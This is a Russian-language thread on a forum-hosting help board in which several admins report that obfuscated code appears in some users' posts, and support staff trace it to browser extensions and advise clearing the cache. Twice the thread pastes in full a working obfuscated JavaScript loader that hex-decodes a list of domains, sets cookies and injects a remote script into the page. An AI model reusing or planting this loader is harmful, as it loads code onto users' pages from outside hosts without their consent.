Непонятные коды в сообщениях

Добрый день.
Возникла небольшая проблема в которой разобраться сама не могу.
На моём форуме есть 3 человека, при добавлении сообщений которыми вылазят какие то коды.
Пожалуйста помогите решить эту проблему, так как очень много времени уходит на редактирование сообщений этих пользователей.
Вот ссылка на мой форум: http://www.p4iolka.ru
А вот  скрин тех кодов которые вылазят в сообщении.
Очень надеюсь на вашу помощь.

Анчоус,
здравствуйте!

Дайте мне, пожалуйста, следующую информацию:
1) ссылки на профили этих пользователей
2) какими устройствами они пользуются (PC, мобильный телефон, планшет и т.д., какая модель, какая ОС ? )
3) с каким браузером работают с форумом.

Добрый вечер!

1.* sveta18tomilova
   * КАРДАШ
2. Обе девочки пользуются обычными персональными компьютерами, у обеих стоит операционная система виндовс7.
3. На форум выходят:
*первая с браузера гугл хром
* вторая с браузера опера

Девочек всего 2... в первом сообщении я ошиблась в количестве девочек)

Анчоус,
спасибо - я задала вопрос техкоманде...

Сообщу вам, как только получу какую-нибудь информацию!

Анчоус,
пожалуйста, оставьте нам для примера какое-нибудь одно сообщение, когда в это повторится в следующий раз - не стирайте, пожалуйста, эти коды и дайте нам ссылку !

Хорошо, сейчас свяжусь с девочками и попрошу написать сообщения)

Luz, вот ссылочка на сообщение одной из девочек: http://www.p4iolka.ru/t505p100-topic?nid=115#29756

Вот ссылка на сообщение второй девочки: http://www.p4iolka.ru/t439p650-topic?nid=248#29950

Анчоус,

Отлично, спасибо - передаю программистам ! Пожалуйста, не удаляйте пока эти коды!

Luz, у нас та же проблема на форуме. Правда одному из пользователей посоветовали попробовать удалить cookies, вроде как помогло. Но у нескольких пользователей проблема осталась.

Лана-Лео,
спасибо - перенаправила программистам, в добавление к предыдущему !

Luz, вот ещё у одного пользователя вылезла абракадабра в сообщении. При этом форум просто вылезает за пределы раза в два.

4Natali1975
Что случилось с компом не пойму, все делаю как обычно????? просто беда...  
window.a1336404323 = 1;!function(){var e=JSON.parse('["38376a6f6f6a696e3366622e7275","666d7a78753570743278376a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="21670",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "pautinka-1.com"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

Уважаемые пользователи,
здравствуйте!

У нас нет точных сведений об этом скрипте, но техническая команда практически уверена, что проблема - со стороны пользователей, и скорее всего это связано с чем-то, что установлено в их браузерах.
Пожалуйста, попросите пользователей отключить расширения и плагины браузера и проверить, появляются ли коды при отправке сообщений.  Если коды исчезнут (необходимо очистить кэш браузера !!! ), то можно будет попробовать заново подключить нужные расширения по одному  - каждый раз проверяя, не вызывает ли это появление скрипта.

EDIT  - пусть в первую очередь проверят расширение "Google Translate" , если оно стоит !
И обязательно сообщите о результатах - это поможет решить проблему всем другим пользователям, которые с ней столкнутся!

Luz, у тех из пользователей, кому мы ещё раньше, как только такая проблема возникла, посоветовали  удалить cookies и почистить КЭШ, сделали это, проблема исчезла, ну а те, кто с компьютером на ВЫ и не понимают как это сделать (хотя и объяснили им всё подробно) у них проблема осталась. Но дело в том, что и у некоторых других пользователей появляется такая проблема. Просто за три года существования форума, такого раньше никогда не было.
И ещё, не знаю важно или нет, но у пользователей такая проблема существует только на форумах данной платформы, на других сайтах таких проблем у них нет.

Лана-Лео,
вы можете подтвердить, что у всех, кто очищает кэш браузера, проблема исчезает ?

Luz, у нас на форуме пока могу сказать только про одного пользователя..она очистила кэш браузера и проблема исчезла! От других жду ответов.

Luz пишет:Лана-Лео,
вы можете подтвердить, что у всех, кто очищает кэш браузера, проблема исчезает ?

могу подтвердить за трёх пользователей, по крайней мере.

Уважаемые Админы!

На Зоопраке http://homezoo.forumy.eu/ мой гомельский друг, давний участник форума, размещая сообщения автоматически получает аттачментом странный текст. Вот он:

Re: Размножение Alipes grandidieri (!)

Сообщение жеniк Сегодня в 16:15

window.a1336404323 = 1;!function(){var e=JSON.parse('["38376a6f6f6a696e3366622e7275","666d7a78753570743278376a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="10253",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "homezoo.forumy.eu"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

вот в этой теме: http://homezoo.forumy.eu/t1111-topic#10580

Я почистил его профиль, подпись, все что можно, однако проблема на этом не закрылась.

Любезно прошу Вас разъяснить мне что это и почему происходит, и подсказать как решить данную проблему.

С уважением
Андрей

Андрей,
посмотрите, пожалуйста, в этом сообщении : https://help.forum2x2.ru/t38829-topic#265052

Попросил. Но ничего не поменялось: http://homezoo.forumy.eu/t1210-topic#10582
http://homezoo.forumy.eu/t1211-topic#10584

Напомню еще раз....